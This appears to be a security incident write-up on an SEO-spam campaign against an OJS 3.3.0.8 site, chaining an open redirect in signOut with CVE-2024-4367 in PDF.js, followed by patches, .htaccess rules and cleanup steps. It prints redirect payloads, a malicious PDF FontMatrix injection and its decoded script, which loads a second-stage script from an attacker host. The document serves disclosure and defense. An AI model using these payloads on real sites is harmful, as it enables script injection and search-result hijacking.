OJS Spam Indexing Investigation: Open Redirect + PDF.js CVE-2024-4367
A full write-up of an attack against an OJS 3.3.0.8 installation: how it was discovered, what the attack chain actually was, and how to fix it. Sharing this so other OJS publishers can recognize the symptoms and apply the patches before Google flags their site.
Note: URLs in this post use the placeholder
https://ojs.example.organd dummy attacker domains. The vulnerabilities described affect OJS / PKP installations broadly, not any single site.
TL;DR
If your OJS 3.3.x site shows any of these symptoms, you are likely affected by the same attack:
- Google Search Console reports “Unparsable structured data” errors on URLs under
/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html - Google search results show pharma / supplement / “male enhancement” spam under your domain
- Indexed URLs look like:
https://ojs.example.org/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html?file=/index.php/index/login/signOut?source=.attacker.com/... - File system grep finds no malware on the server
- Database search finds no spam content in the database
The attack is a two-stage exploit chain:
- Open redirect in
LoginHandler::signOut()— naive string concatenation ofgetBaseUrl() . $sourceallows hostname-suffix takeover (source=.attacker.com→https://yourdomain.com.attacker.com) - CVE-2024-4367 in the bundled PDF.js viewer — a malicious PDF served by the attacker exploits a
FontMatrixinjection to execute JavaScript in your origin, rewriting the DOM with SEO-spam structured data that Googlebot then indexes
Fixing the open redirect breaks the chain. Patching or disabling PDF.js is defense in depth.
Symptoms in detail
The first sign was an email from Google Search Console:
We’re validating your Unparsable structured data issue fixes for site example.org
Specifically, we are checking for ‘Parsing error: Missing ‘}’ or object member name’, which currently affects 1 pages.
The flagged URL had this shape:
https://ojs.example.org/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html?file=/index.php/index/login/signOut?source%3D.attacker.shop/male/&id=2MHrup
Searching Google for site:example.org returned listings with titles like “Now Adam Multivitamin - Full Video & Guide” and snippets full of supplement marketing — none of which exists anywhere on the actual OJS site.
What the initial investigation ruled out
Before understanding the actual attack, the obvious things to check (and what was found):
1. Database compromise — ruled out.
SELECT * FROM submissions WHERE title LIKE '%attacker.shop%';
SELECT * FROM announcements WHERE title LIKE '%6mg.top%';
-- ... and all other content tables
No matches anywhere.
2. PHP file injection — ruled out.
find . -type f -name "*.php" -exec grep -l "attacker.shop" {} \;
find . -type f -exec grep -l "redirect_301\|loadpano" {} \;
No matches. No suspicious file modification times.
3. PDF.js viewer files tampered with — ruled out.
ls -la plugins/generic/pdfJsViewer/pdf.js/web/
All files dated to the original plugin install (Aug 2021). No recent modifications.
4. Direct redirect from PDF viewer — ruled out.
curl -I "https://ojs.example.org/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html"
# HTTP/2 200
The viewer itself returned 200 OK — no redirect from there.
5. Access logs. Searching for the spam domain in Apache logs returned ~600 hits, all from Googlebot, all hitting /index.php/index/login/signOut?source=.attacker.shop/... with a 302 response.
The 302 was the breakthrough. The signOut endpoint was redirecting Googlebot somewhere — and the somewhere was attacker-controlled.
The open redirect
Test:
curl -I "https://ojs.example.org/index.php/index/login/signOut?source=https://google.com"
Response:
HTTP/2 302
location: https://ojs.example.orghttps://google.com
That Location header tells the whole story. The code is doing string concatenation: baseUrl + source, with no separator and no validation.
The vulnerable code lives in lib/pkp/pages/login/LoginHandler.inc.php:
function signOut($args, $request) {
$this->setupTemplate($request);
if (Validation::isLoggedIn()) {
Validation::logout();
}
$source = $request->getUserVar('source');
if (isset($source) && !empty($source)) {
$request->redirectUrl(
$request->getProtocol() . '://' . $request->getServerHost() . $source,
false
);
} else {
$request->redirect(null, $request->getRequestedPage());
}
}
With source=https://google.com, you get the broken https://ojs.example.orghttps://google.com (which browsers reject). But the attacker doesn’t use https://. They use:
source=.attacker.shop/male/
Concatenated:
https://ojs.example.org + .attacker.shop/male/
= https://ojs.example.org.attacker.shop/male/
That is a valid hostname. The attacker owns attacker.shop and has set up a wildcard DNS record so any subdomain — including ojs.example.org.attacker.shop — resolves to their server. The leading dot is the entire trick.
From Googlebot’s perspective, it follows a 302 from your domain to a URL that visually contains your domain and gets served the attacker’s content. Indexed under your site.
The PDF.js half of the attack
Disabling the PDF.js plugin didn’t stop the spam URLs from working. That was puzzling at first — if the redirect was the attack, why does PDF.js matter?
The answer came from opening the spam URL https://attacker.shop/male/ directly in a browser. It served a file:
%PDF-1.4
%DUMMY
...
5 0 obj
<<
/Widths[573 0 582 0 548 0 ...]
/Type/Font
/BaseFont/PAXEKO+SourceSansPro-Bold
/LastChar 102
/Encoding/WinAnsiEncoding
/FontMatrix [0.1 0 0 0.1 0 (1\);
eval\(atob\('if(!window._godo){window._godo=1;let p=new URLSearchParams(location.search),i=p.get('id'),f=p.get('file'),h="default.com";if(f){let m=f.match(/source=([^&]+)/);if(m)h=m[1].replace(/^\./,'').split('/')[0]}let s=document.createElement('script');s.src='https://pdf.'+h+'/male/good.js?id='+i+'&h='+location.hostname;s.type='text/javascript';document.head.appendChild(s);}'\)\)
//)]
...
This is CVE-2024-4367 — disclosed in April 2024, affecting all PDF.js versions before 4.2.67. The FontMatrix field is supposed to be six numbers describing a font transformation. PDF.js was passing it into a JavaScript function via string concatenation without sanitization. By stuffing a PDF string (the (...) syntax) containing JavaScript into the sixth slot, an attacker can break out of the expression context and execute arbitrary JS in the origin of whatever page renders the PDF.
Decoded, the payload reads:
if (!window._godo) {
window._godo = 1;
let p = new URLSearchParams(location.search);
let i = p.get('id');
let f = p.get('file');
let h = "default.com";
if (f) {
let m = f.match(/source=([^&]+)/);
if (m) h = m[1].replace(/^\./, '').split('/')[0];
}
let s = document.createElement('script');
s.src = 'https://pdf.' + h + '/male/good.js?id=' + i + '&h=' + location.hostname;
s.type = 'text/javascript';
document.head.appendChild(s);
}
It:
- Reads the
filequery parameter from PDF.js viewer URL - Extracts the attacker’s domain from
source= - Loads a second-stage script (
good.js) fromhttps://pdf.attacker.shop/male/ - That second-stage script rewrites the DOM with SEO-spam JSON-LD (VideoObject, Product, FAQPage schemas)
- Googlebot renders the page, sees the spam structured data, indexes it under your domain
This is why the file system grep found nothing — there’s no malware on your server. The payload is fetched fresh from the attacker every crawl, executes client-side in your origin, and never touches disk.
The full attack chain
1. Attacker crafts URL on your domain:
https://ojs.example.org/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html
?file=/index.php/index/login/signOut?source=.attacker.shop/male/
&id=SPAMID
2. Googlebot fetches it. PDF.js viewer loads.
3. PDF.js requests its `file` parameter:
GET /index.php/index/login/signOut?source=.attacker.shop/male/
4. OJS signOut handler does:
redirectUrl(baseUrl + source)
= redirectUrl("https://ojs.example.org" + ".attacker.shop/male/")
= 302 → https://ojs.example.org.attacker.shop/male/
(which resolves to attacker's server via wildcard DNS)
5. Attacker's server serves a malicious PDF.
6. PDF.js parses the PDF. CVE-2024-4367 fires when FontMatrix is processed:
JavaScript executes in the origin of ojs.example.org.
7. Stage-2 script (good.js) is fetched and injects SEO-spam JSON-LD
(VideoObject, Product, FAQPage) into the DOM.
8. Googlebot renders the page, sees the spam, indexes it under
https://ojs.example.org/plugins/generic/pdfJsViewer/...
9. Google Search Console reports "Unparsable structured data" because
the injected JSON-LD has parsing errors.
Both vulnerabilities are required. Closing either one breaks the chain.
The fix
1. Patch LoginHandler::signOut()
File: lib/pkp/pages/login/LoginHandler.inc.php
Replace the function with:
function signOut($args, $request) {
$this->setupTemplate($request);
if (Validation::isLoggedIn()) {
Validation::logout();
}
$source = $request->getUserVar('source');
// Only allow same-origin relative paths: must start with exactly one "/"
// and the next character must not be "/" or "\" (blocks //evil.com,
// /\evil.com, and hostname-suffix tricks like .evil.com).
if (isset($source) && !empty($source) && preg_match('#^/[^/\\\\]#', $source)) {
$request->redirectUrl(
$request->getProtocol() . '://' . $request->getServerHost() . $source,
false
);
} else {
$request->redirect(null, $request->getRequestedPage());
}
}
The regex ^/[^/\\\\] enforces three things:
- Must begin with
/→ rejects.attacker.shop/male/(the actual exploit) - Second character can’t be
/→ rejects//evil.com/(protocol-relative URLs) - Second character can’t be
\→ rejects/\evil.com/(some parsers normalize\to/)
Any non-conforming source falls through to the safe default redirect.
2. Patch LoginHandler::_redirectByURL()
Same file. The original function takes a redirectUrl parameter and passes it directly to redirectUrl() without validation — even worse than signOut, because there’s no concatenation, the attacker just sets the URL directly.
function _redirectByURL($request) {
$requestVars = $request->getUserVars();
if (isset($requestVars['redirectUrl']) && !empty($requestVars['redirectUrl'])
&& preg_match('#^/[^/\\\\]#', $requestVars['redirectUrl'])) {
$request->redirectUrl($requestVars['redirectUrl']);
} else {
$this->sendHome($request);
}
}
3. Tighten the Referer fallback in PKPUserHandler
File: lib/pkp/pages/user/PKPUserHandler.inc.php
The original setLocale handler had an open redirect via the Referer header — not exploitable for SEO spam (Googlebot’s Referer is its own crawler URL), but a real phishing vector. Replace the unsafe block:
// VULNERABLE
if (isset($_SERVER['HTTP_REFERER'])) {
$request->redirectUrl($_SERVER['HTTP_REFERER']);
}
with:
if (isset($_SERVER['HTTP_REFERER'])) {
$refererHost = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST);
if ($refererHost === $request->getServerHost()) {
$request->redirectUrl($_SERVER['HTTP_REFERER']);
}
}
$request->redirect(null, 'index');
The source parameter in this same handler uses preg_match('#^/\w#', $source), which is already safe (the second character \w excludes /, \, and ., so the three attack payloads are all blocked). No change needed there.
4. Other files
RegistrationHandler.inc.php uses the same safe ^/\w pattern as PKPUserHandler and needs no change. The other getUserVar('source') references in LoginHandler.inc.php (around lines 56, 77, 107, 126, 144 in 3.3.0.8) are template-data pass-throughs, not redirects, and are safe.
5. Clear PHP opcode cache after editing
This is a common gotcha. PHP 7.4 with OPcache (default on most cPanel hosts) holds compiled .inc.php files in memory and ignores file changes until the workers restart. After saving your edits:
- cPanel hosts: open MultiPHP Manager / Select PHP Version → switch PHP version to anything else, save, switch back. This restarts the PHP worker pool.
- Or:
touch lib/pkp/pages/login/LoginHandler.inc.phpto bump the mtime (sometimes enough). - Or: drop a one-line file at web root containing
<?php opcache_reset(); echo "ok";, hit it once in your browser, delete it.
If your curl tests show the same behavior as before the patch, it’s almost always OPcache.
6. Add a defense-in-depth .htaccess layer
Even with the PHP patch, you want already-indexed spam URLs to return 410 Gone so Google deindexes them fast. Add to .htaccess at the OJS root, above existing rewrite rules:
RewriteEngine On
# Block PDF.js viewer requests that reference signOut (used to construct spam URLs)
RewriteCond %{QUERY_STRING} (^|&)file=[^&]*signOut [NC]
RewriteRule ^plugins/generic/pdfJsViewer/ - [R=410,L]
# Defense in depth: 410 any signOut with a non-relative source value
RewriteCond %{QUERY_STRING} (^|&)source=[^/&] [NC,OR]
RewriteCond %{QUERY_STRING} (^|&)source=/[/\\] [NC]
RewriteRule ^index\.php/index/login/signOut$ - [R=410,L]
Use 410 Gone, not 403 Forbidden — 410 explicitly signals to Google “this URL is permanently gone” and accelerates deindexing significantly.
Legitimate PDF viewing isn’t affected because real article PDFs have file= pointing to a PDF path, not to signOut.
Verification
After patching, run these:
# Open redirect — should land on your own domain, not the attacker's
curl -I "https://ojs.example.org/index.php/index/login/signOut?source=.attacker.shop/male/"
curl -I "https://ojs.example.org/index.php/index/login/signOut?source=//evil.com/"
curl -I "https://ojs.example.org/index.php/index/login/signOut?source=/\\evil.com/"
# _redirectByURL — should land on home page, not evil.com
curl -I "https://ojs.example.org/index.php/index/login/signOutAsUser?redirectUrl=https://evil.com/"
curl -I "https://ojs.example.org/index.php/index/login/signOutAsUser?redirectUrl=//evil.com/"
# Legitimate same-origin path — should redirect normally
curl -I "https://ojs.example.org/index.php/index/login/signOut?source=/index/about"
# .htaccess — should return 410 Gone
curl -I "https://ojs.example.org/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html?file=/index.php/index/login/signOut?source=.attacker.shop/male/"
Expected results:
- The three malicious
source=values should redirect tohttps://ojs.example.org/index/login(or whatever your safe default is) - The two malicious
redirectUrl=values should redirect to your homepage - The legitimate
/index/aboutshould redirect tohttps://ojs.example.org/index/about - The PDF.js viewer pattern should return
HTTP/2 410
If any of these still show attacker hosts in the Location header, the patch isn’t applied — clear OPcache and retry.
Google Search Console cleanup
The PHP patch stops new spam URLs from being created. The already-indexed ones need a separate cleanup:
-
Removals → Temporary removals: submit the prefix
https://ojs.example.org/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html?file=to suppress the spam URLs from search results within ~24 hours. This is a ~6-month suppression while permanent deindexing runs. -
Validate fix on the Unparsable structured data report. Now that the URL returns 410, Google will see “page gone → no schema to parse → fixed.”
-
Monitor for 2-4 weeks. New spam URLs may continue appearing in GSC as Google works through its crawl queue. They’ll get 410’d. What matters is that no new indexable spam can be created.
-
Report the attacker domains to Google Safe Browsing at
https://safebrowsing.google.com/safebrowsing/report_phish/. This helps other affected sites — and there will be many. The attackers rotate domains (this campaign has usedsu7u.shop,6mg.top,myshopify.cc— a deceptive lookalike of Shopify’s realmyshopify.com— and almost certainly others).
Long-term recommendations
Update PDF.js or remove it. The bundled PDF.js in the pdfJsViewer plugin is from August 2021 — well before CVE-2024-4367 was patched. Options:
- Check the PKP plugin gallery for a newer version of
pdfJsViewerthat ships PDF.js ≥ 4.2.67 - Replace the bundled
pdf.jsandpdf.worker.jsfiles manually with a newer build from mozilla/pdf.js releases - Disable the plugin and let browsers handle PDF viewing natively (modern Chrome / Firefox / Safari all have built-in PDF viewers)
Upgrade OJS. 3.3.0.8 is from 2022. The 3.3.x LTS branch is at 3.3.0-21 as of this writing, and 3.5.x is current stable. There are likely other patched issues in newer versions. Plan the upgrade even if it’s not urgent now that the active exploit chain is broken.
Audit for similar patterns. Any plugin or custom code that reads source, redirectUrl, or similar parameters and passes them into a redirect is potentially vulnerable. Grep:
grep -rn "getUserVar(['\"](source\|redirectUrl)['\"])" lib/ plugins/ classes/ pages/
Anywhere that result feeds into redirectUrl() with host concatenation needs the same guard.
Lessons for the OJS / PKP community
A few observations that might inform upstream fixes:
-
getBaseUrl() . $userInputis a vulnerability pattern, not an idiom. Every instance should validate that the input is a same-origin relative path. The pattern appears in multiple places inlib/pkp/. -
The
^/\wregex used inPKPUserHandlerandRegistrationHandleris correct; the absence of any check insignOutis the bug. Standardizing on the regex (or a helper function) across all redirect sites would prevent recurrence. -
CVE-2024-4367 affects every OJS / OMP / OPS install that ships the
pdfJsViewerplugin without an updated PDF.js. This is a large fleet. Coordinated guidance from PKP on updating the bundled viewer would help. -
The attack is hard to detect from server-side artifacts alone. No files modified, no database changes, no PHP-level malware. The only signal is the 302 in access logs and the indexed URLs in Google Search Console. Worth flagging in OJS security guidance so admins know what to look for.
References
- CVE-2024-4367: PDF.js arbitrary JavaScript execution via FontMatrix — https://nvd.nist.gov/vuln/detail/CVE-2024-4367
- Mozilla PDF.js release notes for 4.2.67 — fixed FontMatrix sanitization
- OWASP Unvalidated Redirects and Forwards — https://owasp.org/www-community/attacks/Unvalidated_Redirects_and_Forwards_Cheat_Sheet
- Google Search Console Removals tool — https://support.google.com/webmasters/answer/9689846
- Google Safe Browsing report URL — https://safebrowsing.google.com/safebrowsing/report_phish/
If you found this useful or have additions / corrections, please share back to the OJS community forum at https://forum.pkp.sfu.ca. Other admins are almost certainly facing the same attack right now and don’t yet know why.